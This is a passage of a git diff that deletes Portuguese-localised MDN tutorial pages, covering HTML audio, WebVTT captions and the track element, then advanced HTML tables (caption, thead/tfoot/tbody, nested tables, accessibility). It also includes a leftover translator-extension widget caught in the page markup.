- &lt;source src="viper.ogg" type="audio/ogg"&gt;
- &lt;p&gt;Your browser doesn't support HTML5 audio. Here is a &lt;a href="viper.mp3"&gt;link to the audio&lt;/a&gt; instead.&lt;/p&gt;
-&lt;/audio&gt;</pre>
-
-<p>This produces something like the following in a browser:</p>
-
-<p><img alt="A simple audio player with a play button, timer, volume control, and progress bar" src="https://mdn.mozillademos.org/files/12798/audio-player.png" style="display: block; height: 413px; margin: 0px auto; width: 626px;"></p>
-
-<div class="note">
-<p><strong>Nota</strong>: You can <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-audio-formats.html">run the audio demo live</a> on Github (also see the <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/multiple-audio-formats.html">audio player source code</a>.)</p>
-</div>
-
-<p>This takes up less space than a video player, as there is no visual component — you just need to display controls to play the audio. Other differences from HTML5 video are as follows:</p>
-
-<ul>
- <li>The {{htmlelement("audio")}} element doesn't support the <code>width</code>/<code>height</code> attributes — again, there is no visual component, so there is nothing to assign a width or height to.</li>
- <li>It also doesn't support the <code>poster</code> attribute — again, no visual component.</li>
-</ul>
-
-<p>Other than this, <code>&lt;audio&gt;</code> supports all the same features as <code>&lt;video&gt;</code> — review the above sections for more information about them.</p>
-
-<h2 id="Faixas_de_texto_da_exibição_de_vídeo">Faixas de texto da exibição de vídeo</h2>
-
-<p>Now we'll discuss a slightly more advanced concept that is really useful to know about. Many people can't or don't want to hear the audio/video content they find on the Web, at least at certain times. For example:</p>
-
-<ul>
- <li>Many people have auditory impairments (more commonly known as hard of hearing, or deaf) so can't hear the audio.</li>
- <li>Others may not be able to hear the audio because they are in noisy environments (like a crowded bar when a sports game is being shown) or might not want to disturb others if they are in a quiet place (like a library.)</li>
- <li>People who don't speak the language of the video might want a text transcript or even translation to help them understand the media content.</li>
-</ul>
-
-<p>Wouldn't it be nice to be able to provide these people with a transcript of the words being spoken in the audio/video? Well, thanks to HTML5 video you can, with the <a href="/en-US/docs/Web/API/Web_Video_Text_Tracks_Format">WebVTT</a> format and the {{htmlelement("track")}} element.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: "Transcribe" and "transcript" mean to write down spoken words as text.</p>
-</div>
-
-<p>WebVTT is a format for writing text files containing multiple strings of text along with metadata such as what time in the video you want each text string to be displayed, and even limited styling/positioning information. These text strings are called <strong>cues</strong>, and you can display different types for different purposes, the most common being:</p>
-
-<dl>
- <dt>subtitles</dt>
- <dd>Translations of foreign material, for people who don't understand the words spoken in the audio.</dd>
- <dt>captions</dt>
- <dd>Synchronized transcriptions of dialog or descriptions of significant sounds, to let people who can't hear the audio understand what is going on.</dd>
- <dt>timed descriptions</dt>
- <dd>Text for conversion into audio, to serve people with visual impairments.</dd>
-</dl>
-
-<p>A typical WebVTT file will look something like this:</p>
-
-<pre class="eval line-numbers language-html"><code class="language-html">WEBVTT
-
-1
-00:00:22.230 --&gt; 00:00:24.606
-This is the first subtitle.
-
-2
-00:00:30.739 --&gt; 00:00:34.074
-This is the second.
-
- ...</code>
-</pre>
-
-<p>To get this displayed along with the HTML media playback, you need to:</p>
-
-<ol>
- <li>Save it as a <code>.vtt</code> file in a sensible place.</li>
- <li>Link to the <code>.vtt</code> file with the {{htmlelement("track")}} element. <code>&lt;track&gt;</code> should be placed within <code>&lt;audio&gt;</code> or <code>&lt;video&gt;</code>, but after all <code>&lt;source&gt;</code> elements. Use the {{htmlattrxref("kind","track")}} attribute to specify whether the cues are <code>subtitles</code>, <code>captions</code>, or <code>descriptions</code>. Further, use {{htmlattrxref("srclang","track")}} to tell the browser what language you have written the subtitles in.</li>
-</ol>
-
-<p>Here's an example:</p>
-
-<pre class="brush: html">&lt;video controls&gt;
- &lt;source src="example.mp4" type="video/mp4"&gt;
- &lt;source src="example.webm" type="video/webm"&gt;
- &lt;track kind="subtitles" src="subtitles_en.vtt" srclang="en"&gt;
-&lt;/video&gt;</pre>
-
-<p>This will result in a video that has subtitles displayed, kind of like this:</p>
-
-<p><img alt='Video player with stand controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."' src="https://mdn.mozillademos.org/files/7887/video-player-with-captions.png" style="display: block; height: 365px; margin: 0px auto; width: 593px;"></p>
-
-<p>For more details, please read <a href="/en-US/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video">Adding captions and subtitles to HTML5 video</a>. You can <a href="http://iandevlin.github.io/mdn/video-player-with-captions/">find the example</a> that goes along with this article on Github, written by Ian Devlin (see the <a href="https://github.com/iandevlin/iandevlin.github.io/tree/master/mdn/video-player-with-captions">source code</a> too.) This example uses some JavaScript to allow users to choose between different subtitles. Note that to turn the subtitles on, you need to press the "CC" button and select an option — English, Deutsch, or Español. </p>
-
-<div class="note">
-<p><strong>Nota</strong>: Text tracks also help you with {{glossary("SEO")}}, since search engines especially thrive on text. Text tracks even allow search engines to link directly to a spot partway through the video.</p>
-</div>
-
-<h3 id="Aprendizagem_ativa_incorporar_o_seu_próprio_áudio_e_vídeo">Aprendizagem ativa: incorporar o seu próprio áudio e vídeo</h3>
-
-<p>For this active learning, we'd (ideally) like you to go out into the world and record some of your own video and audio — most phones these days allow you to record audio and video very easily, and provided you can transfer it on to your computer, you can use it. You may have to do some conversion to end up with a WebM and MP4 in the case of video, and an MP3 and Ogg in the case of audio, but there are enough programs out there to allow you to do this without too much trouble, such as <a href="http://www.mirovideoconverter.com/">Miro Video Converter</a> and <a href="https://sourceforge.net/projects/audacity/">Audacity</a>. We'd like you to have a go!</p>
-
-<p>If you are unable to source any video or audio, then you can feel free to use our <a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/video-and-audio-content">sample audio and video files</a> to carry out this exercise. You can also use our sample code for reference.</p>
-
-<p>We would like you to:</p>
-
-<ol>
- <li>Save your audio and video files in a new directory on your computer.</li>
- <li>Create a new HTML file in the same directory, called <code>index.html</code>.</li>
- <li>Add <code>&lt;audio&gt;</code> and <code>&lt;video&gt;</code> elements to the page; make them display the default browser controls.</li>
- <li>Give both of them <code>&lt;source&gt;</code> elements so that browsers will find the audio format they support best and load it. These should include <code>type</code> attributes.</li>
- <li>Give the <code>&lt;video&gt;</code> element a poster that will be displayed before the video starts to be played. Have fun creating your own poster graphic.</li>
-</ol>
-
-<p>For an added bonus, you could try researching text tracks, and work out how to add some captions to your video.</p>
-
-<h2 id="Resumo">Resumo</h2>
-
-<p>And that's a wrap; we hope you had fun playing with video and audio in web pages! In the next article, we'll look at other ways of embedding content on the Web, using technologies like {{htmlelement("iframe")}} and {{htmlelement("object")}}.</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li>{{htmlelement("audio")}}</li>
- <li>{{htmlelement("video")}}</li>
- <li>{{htmlelement("source")}}</li>
- <li>{{htmlelement("track")}}</li>
- <li><a href="/en-US/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video">Adding captions and subtitles to HTML5 video</a></li>
- <li><a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery">Audio and Video delivery</a>: A LOT of detail about putting audio and video onto web pages using HTML and JavaScript.</li>
- <li><a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_manipulation">Audio and Video manipulation</a>: A LOT of detail about manipulating audio and video using JavaScript (for example adding filters.)</li>
- <li>Automated options to <a href="http://www.inwhatlanguage.com/blog/translate-video-audio/">translate multimedia</a>.</li>
-</ul>
-
-<p>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}</p>
-
-<dl>
-</dl>
-
-<ul>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/learn/html/tables/advanced/index.html b/files/pt-pt/learn/html/tables/advanced/index.html
deleted file mode 100644
index 5b45800fa0..0000000000
--- a/files/pt-pt/learn/html/tables/advanced/index.html
+++ /dev/null
@@ -1,539 +0,0 @@
----
-title: HTML - funcionalidades avançadas de tabela e acessibilidade
-slug: Learn/HTML/Tables/Advanced
-tags:
- - Acessibilidade
- - Aprender
- - Artigo
- - Avançado
- - Cabeçalhos
- - HTML
- - Headers
- - Principiante
- - Resumo
- - caption
- - incorporar
- - legenda
- - tabela
-translation_of: Learn/HTML/Tables/Advanced
-original_slug: Learn/HTML/Tables/Avancada
----
-<div>{{LearnSidebar}}</div>
-
-<div>{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}</div>
-
-<p class="summary">No segundo artigo neste módulo, nós vamos ver algumas funcionalidades mais avançadas das tabelas HTML tables — tais como legendas/resumos e agrupar as suas filas no cabçalho da taela, secções de corpo e rodapé — bem como, ver a acessibilidade das tabelas para os utilizadores deficientes visuais.</p>
-
-<table class="learn-box standard-table">
- <tbody>
- <tr>
- <th scope="row">Pré-requisitos:</th>
- <td>The basics of HTML (see <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>).</td>
- </tr>
- <tr>
- <th scope="row">Objetivo:</th>
- <td>To learn about more advanced HTML table features, and the accessibility of tables.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Adicionar_uma_legenda_à_sua_tabela_com_&lt;caption>">Adicionar uma legenda à sua tabela com &lt;caption&gt;</h2>
-
-<p>You can give your table a caption by putting it inside a {{htmlelement("caption")}} element and nesting that inside the {{htmlelement("table")}} element. You should put it just below the opening <code>&lt;table&gt;</code> tag.</p>
-
-<pre class="brush: html">&lt;table&gt;
- &lt;caption&gt;Dinosaurs in the Jurassic period&lt;/caption&gt;
-
- ...
-&lt;/table&gt;</pre>
-
-<p>As you can infer from the brief example above, the caption is meant to contain a description of the table contents. This is useful for all readers wishing to get a quick idea of whether the table is useful to them as they scan the page, but particularly for blind users. Rather than have a screenreader read out the contents of many cells just to find out what the table is about, he or she can rely on a caption and then decide whether or not to read the table in greater detail.</p>
-
-<p>A caption is placed directly beneath the <code>&lt;table&gt;</code> tag.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: The {{htmlattrxref("summary","table")}} attribute can also be used on the <code>&lt;table&gt;</code> element to provide a description — this is also read out by screenreaders. We'd recommend using the <code>&lt;caption&gt;</code> element instead, however, as <code>summary</code> is {{glossary("deprecated")}} by the HTML5 spec, and can't be read by sighted users (it doesn't appear on the page.)</p>
-</div>
-
-<h3 id="Aprendizagem_ativa_Adicionar_uma_caption">Aprendizagem ativa: Adicionar uma <em>caption</em></h3>
-
-<p>Let's try this out, revisiting an example we first met in the previous article.</p>
-
-<ol>
- <li>Open up your language teacher's school timetable from the end of <a href="/en-US/docs/Learn/HTML/Tables/Basics#Active_learning_colgroup_and_col">HTML Table Basics</a>, or make a local copy of our <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/timetable-fixed.html">timetable-fixed.html</a> file.</li>
- <li>Add a suitable caption for the table.</li>
- <li>Save your code and open it in a browser to see what it looks like.</li>
-</ol>
-
-<div class="note">
-<p><strong>Nota</strong>: You can find our version on GitHub — see <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/timetable-caption.html">timetable-caption.html</a> (<a href="http://mdn.github.io/learning-area/html/tables/advanced/timetable-caption.html">see it live also</a>).</p>
-</div>
-
-<h2 id="Adding_structure_with_&lt;thead>_&lt;tfoot>_and_&lt;tbody>">Adding structure with &lt;thead&gt;, &lt;tfoot&gt;, and &lt;tbody&gt;</h2>
-
-<p>As your tables get a bit more complex in structure, it is useful to give them more structural definition. One clear way to do this is by using {{htmlelement("thead")}}, {{htmlelement("tfoot")}}, and {{htmlelement("tbody")}}, which allow you to mark up a header, footer, and body section for the table.</p>
-
-<p>These elements don't make the table any more accessible to screenreader users, and don't result in any visual enhancement on their own. They are however very useful for styling and layout — acting as useful hooks for adding CSS to your table. To give you some interesting examples, in the case of a long table you could make the table header and footer repeat on every printed page, and you could make the table body display on a single page and have the contents available by scrolling up and down.</p>
-
-<p>To use them:</p>
-
-<ul>
- <li>The <code>&lt;thead&gt;</code> element needs to wrap the part of the table that is the header — this will commonly be the first row containing the column headings, but this is not necessarily always the case. if you are using {{htmlelement("col")}}/{{htmlelement("colgroup")}} element, the table header should come just below those.</li>
- <li>The <code>&lt;tfoot&gt;</code> element needs to wrap the part of the table that is the footer — this might be a final row with items in the previous rows summed, for example. You can include the table footer right at the bottom of the table as you'd expect, or just below the table header (the browser will still render it at the bottom of the table).</li>
- <li>The <code>&lt;tbody&gt;</code> element needs to wrap the other parts of the table content that aren't in the table header or footer. It will appear below the table header or sometimes footer, depending on how you decided to structure it (see the notes above).</li>
-</ul>
-
-<div class="note">
-<p><strong>Note</strong>: <code>&lt;tbody&gt;</code> is always included in every table, implicitly if you don't specify it in your code. To check this, open up one of your previous examples that doesn't include <code>&lt;tbody&gt;</code> and look at the HTML code in your <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">browser developer tools</a> — you will see that the browser has added this tag for you. You might wonder why you ought to bother including it at all — you should, because it gives you more control over your table structure and styling.</p>
-</div>
-
-<h3 id="Aprendizagem_ativa_Adicionar_uma_estrutura_de_tabela">Aprendizagem ativa: Adicionar uma estrutura de tabela</h3>
-
-<p>Let's put these new elements into action.</p>
-
-<ol>
- <li>First of all, make a local copy of <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/spending-record.html">spending-record.html</a> and <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/minimal-table.css">minimal-table.css</a> in a new folder.</li>
- <li>Try opening it in a browser — You'll see that it looks OK, but it could stand to be improved. The "SUM" row that contains a summation of the spent amounts seems to be in the wrong place, and there are some details missing from the code.</li>
- <li>Put the obvious headers row inside a <code>&lt;thead&gt;</code> element, the "SUM" row inside a <code>&lt;tfoot&gt;</code> element, and the rest of the content inside a <code>&lt;tbody&gt;</code> element.</li>
- <li>Save and refresh, and you'll see that adding the <code>&lt;tfoot&gt;</code> element has caused the "SUM" row to go down to the bottom of the table.</li>
- <li>Next, add a {{htmlattrxref("colspan","td")}} attribute to make the "SUM" cell span across the first four columns, so the actual number appears at the bottom of the "Cost" column.</li>
- <li>Let's add some simple extra styling to the table, to give you an idea of how useful these elements are for applying CSS. Inside the head of your HTML document, you'll see an empty {{htmlelement("style")}} element. Inside this element, add the following lines of CSS code:
- <pre class="brush: css">tbody {
- font-size: 90%;
- font-style: italic;
-}
-
-tfoot {
- font-weight: bold;
-}
-</pre>
- </li>
- <li>Save and refresh, and have a look at the result. If the <code>&lt;tbody&gt;</code> and <code>&lt;tfoot&gt;</code> elements weren't in place, you'd have to write much more complicated selectors/rules to apply the same styling.</li>
-</ol>
-
-<div class="note">
-<p><strong>Nota</strong>: We don't expect you to fully understand the CSS right now. You'll learn more about this when you go through our CSS modules (<a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a> is a good place to start; we also have an article specifically on <a href="/en-US/docs/Learn/CSS/Styling_boxes/Styling_tables">styling tables</a>).</p>
-</div>
-
-<p>Your finished table should look something like the following:</p>
-
-<div class="hidden">
-<h6 id="Hidden_example">Hidden example</h6>
-
-<pre class="brush: html">&lt;!DOCTYPE html&gt;
-&lt;html&gt;
- &lt;head&gt;
- &lt;meta charset="utf-8"&gt;
- &lt;title&gt;My spending record&lt;/title&gt;
- &lt;style&gt;
-
- html {
- font-family: sans-serif;
- }
-
- table {
- border-collapse: collapse;
- border: 2px solid rgb(200,200,200);
- letter-spacing: 1px;
- font-size: 0.8rem;
- }
-
- td, th {
- border: 1px solid rgb(190,190,190);
- padding: 10px 20px;
- }
-
- th {
- background-color: rgb(235,235,235);
- }
-
- td {
- text-align: center;
- }
-
- tr:nth-child(even) td {
- background-color: rgb(250,250,250);
- }
-
- tr:nth-child(odd) td {
- background-color: rgb(245,245,245);
- }
-
- caption {
- padding: 10px;
- }
-
- tbody {
- font-size: 90%;
- font-style: italic;
- }
-
- tfoot {
- font-weight: bold;
- }
- &lt;/style&gt;
- &lt;/head&gt;
- &lt;body&gt;
- &lt;table&gt;
- &lt;caption&gt;How I chose to spend my money&lt;/caption&gt;
- &lt;thead&gt;
- &lt;tr&gt;
- &lt;th&gt;Purchase&lt;/th&gt;
- &lt;th&gt;Location&lt;/th&gt;
- &lt;th&gt;Date&lt;/th&gt;
- &lt;th&gt;Evaluation&lt;/th&gt;
- &lt;th&gt;Cost (€)&lt;/th&gt;
- &lt;/tr&gt;
- &lt;/thead&gt;
- &lt;tfoot&gt;
- &lt;tr&gt;
- &lt;td colspan="4"&gt;SUM&lt;/td&gt;
- &lt;td&gt;118&lt;/td&gt;
- &lt;/tr&gt;
- &lt;/tfoot&gt;
- &lt;tbody&gt;
- &lt;tr&gt;
- &lt;td&gt;Haircut&lt;/td&gt;
- &lt;td&gt;Hairdresser&lt;/td&gt;
- &lt;td&gt;12/09&lt;/td&gt;
- &lt;td&gt;Great idea&lt;/td&gt;
- &lt;td&gt;30&lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;Lasagna&lt;/td&gt;
- &lt;td&gt;Restaurant&lt;/td&gt;
- &lt;td&gt;12/09&lt;/td&gt;
- &lt;td&gt;Regrets&lt;/td&gt;
- &lt;td&gt;18&lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;Shoes&lt;/td&gt;
- &lt;td&gt;Shoeshop&lt;/td&gt;
- &lt;td&gt;13/09&lt;/td&gt;
- &lt;td&gt;Big regrets&lt;/td&gt;
- &lt;td&gt;65&lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;Toothpaste&lt;/td&gt;
- &lt;td&gt;Supermarket&lt;/td&gt;
- &lt;td&gt;13/09&lt;/td&gt;
- &lt;td&gt;Good&lt;/td&gt;
- &lt;td&gt;5&lt;/td&gt;
- &lt;/tr&gt;
- &lt;/tbody&gt;
- &lt;/table&gt;
-
- &lt;/body&gt;
-&lt;/html&gt;</pre>
-</div>
-
-<p>{{ EmbedLiveSample('Hidden_example', '100%', 300) }}</p>
-
-<div class="note">
-<p><strong>Nota</strong>: You can also find it on Github as <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/spending-record-finished.html">spending-record-finished.html</a> (<a href="http://mdn.github.io/learning-area/html/tables/advanced/spending-record-finished.html">see it live also</a>).</p>
-</div>
-
-<h2 id="Incorporar_Tabelas">Incorporar Tabelas</h2>
-
-<p>It is possible to nest a table inside another one, as long as you include the complete structure, including the <code>&lt;table&gt;</code> element. This is generally not really advised, as it makes the markup more confusing and less accessible to screenreader users, and in many cases you might as well just insert extra cells/rows/columns into the existing table. It is however sometimes necessary, for example if you want to import content easily from other sources.</p>
-
-<p>The following markup shows a simple nested table:</p>
-
-<pre class="brush: html">&lt;table id="table1"&gt;
- &lt;tr&gt;
- &lt;th&gt;title1&lt;/th&gt;
- &lt;th&gt;title2&lt;/th&gt;
- &lt;th&gt;title3&lt;/th&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td id="nested"&gt;
- &lt;table id="table2"&gt;
- &lt;tr&gt;
- &lt;td&gt;cell1&lt;/td&gt;
- &lt;td&gt;cell2&lt;/td&gt;
- &lt;td&gt;cell3&lt;/td&gt;
- &lt;/tr&gt;
- &lt;/table&gt;
- &lt;/td&gt;
- &lt;td&gt;cell2&lt;/td&gt;
- &lt;td&gt;cell3&lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;cell4&lt;/td&gt;
- &lt;td&gt;cell5&lt;/td&gt;
- &lt;td&gt;cell6&lt;/td&gt;
- &lt;/tr&gt;
-&lt;/table&gt;</pre>
-
-<p>The output of which looks something like this:</p>
-
-<table id="table1">
- <tbody>
- <tr>
- <th>title1</th>
- <th>title2</th>
- <th>title3</th>
- </tr>
- <tr>
- <td id="nested">
- <table id="table2">
- <tbody>
- <tr>
- <td>cell1</td>
- <td>cell2</td>
- <td>cell3</td>
- </tr>
- </tbody>
- </table>
- </td>
- <td>cell2</td>
- <td>cell3</td>
- </tr>
- <tr>
- <td>cell4</td>
- <td>cell5</td>
- <td>cell6</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Tabelas_para_utilizadores_deficientes_visuais">Tabelas para utilizadores deficientes visuais</h2>
-
-<p>Let's recap briefly on how we use data tables. A table can be a handy tool, for giving us quick access to data and allowing us to look up different values. For example, It takes only a short glance at the table below to find out how many rings were sold in Gent last August. To understand its information we make visual associations between the data in this table and its column and/or row headers.</p>
-
-<table>
- <caption>Items Sold August 2016</caption>
- <tbody>
- <tr>
- <td> </td>
- <td> </td>
- <th colspan="3" scope="colgroup">Clothes</th>
- <th colspan="2" scope="colgroup">Accessories</th>
- </tr>
- <tr>
- <td> </td>
- <td> </td>
- <th scope="col">Trousers</th>
- <th scope="col">Skirts</th>
- <th scope="col">Dresses</th>
- <th scope="col">Bracelets</th>
- <th scope="col">Rings</th>
- </tr>
- <tr>
- <th rowspan="3" scope="rowgroup">Belgium</th>
- <th scope="row">Antwerp</th>
- <td>56</td>
- <td>22</td>
- <td>43</td>
- <td>72</td>
- <td>23</td>
- </tr>
- <tr>
- <th scope="row">Gent</th>
- <td>46</td>
- <td>18</td>
- <td>50</td>
- <td>61</td>
- <td>15</td>
- </tr>
